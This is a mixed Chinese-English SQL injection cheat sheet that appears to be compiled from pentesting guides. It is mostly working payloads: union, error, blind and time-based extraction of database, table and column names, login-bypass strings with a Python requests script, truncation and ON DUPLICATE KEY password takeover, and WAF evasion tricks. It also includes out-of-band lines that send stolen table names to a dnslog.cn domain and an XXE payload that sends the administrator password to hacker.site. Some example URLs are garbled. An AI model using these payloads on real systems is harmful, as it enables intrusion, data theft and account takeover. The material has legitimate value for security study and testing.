SQL注入基础¶
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL payload中添加额外的 SQL payload,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息
简而言之,SQL 注入就是在用户输入的字符串中加入 SQL payload,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL payload就会被数据库服务器误认为是正常的 SQL payload而运行,攻击者就可以执行计划外的命令或访问未被授权的数据
实质及原理¶
开发需求:用户点击对应文章链接实现查看文章内容
实现结果:用户访问网址www.x.com/article.php?id=18查看到对应的文章内容
实现方式(关键步骤):
- 获取用户id参数传递值18
- 去mysql中articles表查询id字段等于18的值的内容(select * from articles where id = 18)
- 从数据库查询结果回显至浏览器
sql注入产生的关键点¶
- 用户提交(主动或被动)的数据内容被带入到数据库
- 程序没有对用户提交内容做合理的处理,导致用户可以改变原有sql语义或添加额外的sql语句
Entry point detection¶
When a site appears to be vulnerable to SQL injection (SQLi) due to unusual server responses to SQLi-related inputs, the first step is to understand how to inject data into the query without disrupting it. This requires identifying the method to escape from the current context effectively. These are some useful examples:
Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.
Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.
Note
SQL注入的本质是闭合与逃逸,所以需要先试探出闭合的方式
Comments¶
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
注释的区别¶
以MySQL为例,我们知道mysql注释符有#、-- (后面有空格)、/**/三种,但是在sqlilabs注入中不同场景使用的注释符不同。

get型注入¶
在url栏中输入注入payload时,-- 和#注释都会报错
http://localhost/sqlilabs/Less-1/?id=-1``' union select 1,2,database()-- ``http://localhost/sqlilabs/Less-1/?id=-1'` `union` `select` `1,2,``database``()#
然而使用--+,--%20和%23就能成功注释(%20是空格的url编码,%23是#的url编码)
http://localhost/sqlilabs/Less-1/?id=-1``' union select 1,2,database()--+``http://localhost/sqlilabs/Less-1/?id=-1'` `union` `select` `1,2,``database``()``--%20``http://localhost/sqlilabs/Less-1/?id=-1' ``union` `select` `1,2,``database``()%23
原因:--+和--%20在传输到后端时会变成-- ,而url中的#号代表html页面中的锚点,数据传输过程并不会一起带到后端,所以需要使用%23
post型注入¶
直接使用-- 或#就行,因为是POST提交的数据,所以不用进行url编码,是POST原文
注释符/**/¶
因为注释符#、-- 都是把后面的payload全部注释掉了,而内联注释//则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释payload用,而是用于过滤空格等bypass,如:
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的payload放在/!.../中,这些payload在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/!50001*/表示数据库版本>=5.00.01时中间的payload才能被执行
Confirming with logical operations¶
A reliable method to confirm an SQL injection vulnerability involves executing a logical operation and observing the expected outcomes. For instance, a GET parameter such as ?username=Peter yielding identical content when modified to ?username=Peter' or '1'='1 indicates a SQL injection vulnerability.
Similarly, the application of mathematical operations serves as an effective confirmation technique. For example, if accessing ?id=1 and ?id=2-1 produce the same result, it's indicative of SQL injection.
Examples demonstrating logical operation confirmation:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
This word-list was created to try to confirm SQLinjections in the proposed way:
true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1
Confirming with Timing¶
In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).
Identifying Back-end¶
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones (table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Also, if you have access to the output of the query, you could make it print the version of the database.
Note
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
Identifying with PortSwigger¶
SQL injection cheat sheet | Web Security Academy
SQL注入之数据类型¶
数字型注入¶
判断有无注入点¶
或者在参数位置输入1+1,看是否能解析为2
字符型注入¶
判断注入点方法¶
- 后跟单引号/双引号,如果报错,则为字符型
判断数字/字符类型流程¶
先用and 1=1/and 1=2来判断,如果不一样,说明是数字型,如果一样说明可能无注入点或为字符型,再用单引号/双引号判断,如果报错,说明字符型
搜索型注入点¶
where后跟字段名夹like表明模糊查找,%表示通配符(类似*),’%u%‘即表示所有带u的(windows不区分大小写)
注:#和--+一样是注释,注释后面的内容
原理分析¶
我们输入的内容实际作为参数传给后端
注入结果¶
因为or 1=1恒成立,故会直接跳过前面的查找内容,直接查询表中所有字段
Exploiting Union Based¶
Detecting number of columns¶
If you can see the output of the query this is the best way to exploit it. First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. Two methods are typically used for this purpose:
Order/Group by¶
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT¶
Select more and more null values until the query is correct:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.
Extract database names, table names and column names¶
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
There is a different way to discover this data on every different database, but it's always the same methodology.
Exploiting Hidden Union Based¶
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
For more comprehensive insights, refer to the complete article available at Healing Blind Injections.
Exploiting Error based¶
If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database. Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiting Blind SQLi¶
In this case you cannot see the results of the query or the errors, but you can distinguished when the query return a true or a false response because there are different contents on the page. In this case, you can abuse that behaviour to dump the database char by char:
Exploiting Error Blind SQLi¶
This is the same case as before but instead of distinguish between a true/false response from the query you can distinguish between an error in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
Exploiting Time Based SQLi¶
In this case there isn't any way to distinguish the response of the query based on the context of the page. But, you can make the page take longer to load if the guessed character is correct. We have already saw this technique in use before in order to confirm a SQLi vuln.
Stacked Queries¶
You can use stacked queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle doesn't support stacked queries. MySQL, Microsoft and PostgreSQL support them: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation¶
If no-other exploitation method worked, you may try to make the database ex-filtrate the info to an external host controlled by you. For example, via DNS queries:
原理:
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
推荐平台:
- http://www.dnslog.cn
- http://admin.dnslog.link
- http://ceye.io
当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码
https://github.com/BugScanTeam/DNSLog
条件:
1.SQL服务器能连接网络
2.开启了LOAD_FILE() 读取文件的函数(开启读写权限)
猜解库:

猜解表:
?id=1' and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ao0mss.dnslog.cn\\yoyo')))--+

猜解字段:
?id=1' and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database()
and table_name='users' limit 2,1),'.ao0mss.dnslog.cn\\yoyo')))--+

经测试,网站获取的域名比较不稳定,建议手注,或者用自已的域名更好(可以写脚本注入)
Out of band data exfiltration via XXE¶
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation¶
Check the SQLMap Cheatsheet to exploit a SQLi vulnerability with sqlmap.
Tech specific info¶
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass¶
List to try to bypass the login functionality:
Raw hash authentication Bypass¶
This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
Injected hash authentication Bypass¶
Recommended list:
You should use as username each line of the list and as password always: Pass1234. (This payloads are also included in the big list mentioned at the beginning of this section)
GBK Authentication Bypass¶
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)¶
Insert Statement¶
Modify password of existing object/user¶
To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) → Create user with name: admin [a lot of spaces] a
SQL Truncation Attack¶
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.
The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking¶
Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
ON DUPLICATE KEY UPDATE¶
The ON DUPLICATE KEY UPDATE clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
Example Payload Injection:
An injection payload might be crafted as follows, where two rows are attempted to be inserted into the users table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Here's how it works:
- The query attempts to insert two rows: one for
generic_user@example.comand another foradmin_generic@example.com. - If the row for
admin_generic@example.comalready exists, theON DUPLICATE KEY UPDATEclause triggers, instructing MySQL to update thepasswordfield of the existing row to "bcrypt_hash_of_newpassword". - Consequently, authentication can then be attempted using
admin_generic@example.comwith the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
Extract information¶
Creating 2 accounts at the same time¶
When trying to create a new user and username, password and email are needed:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Using decimal or hexadecimal¶
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
Using hex2dec and substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
To get the text you can use:
Using hex and replace (and substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection¶
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. (From Paper)
Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass¶
No spaces bypass¶
No Space (%20) - bypass using whitespace alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass using comments
No Whitespace - bypass using parenthesis
No commas bypass¶
No Comma - bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses¶
Blacklist using keywords - bypass using uppercase/lowercase
Blacklist using keywords case insensitive - bypass using an equivalent operator
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass¶
You can find a more in depth explaination of this trick in gosecure blog. Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
Bypass Column Names Restriction¶
First of all, notice that if the original query and the table where you want to extract the flag from have the same amount of columns you might just do: 0 UNION SELECT * FROM flag
It’s possible to access the third column of a table without using its name using a query like the following: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, so in an sqlinjection this would looks like:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Or using a comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
This trick was taken from https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
WAF bypass suggester tools¶
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Other Guides¶
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force Detection List¶
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub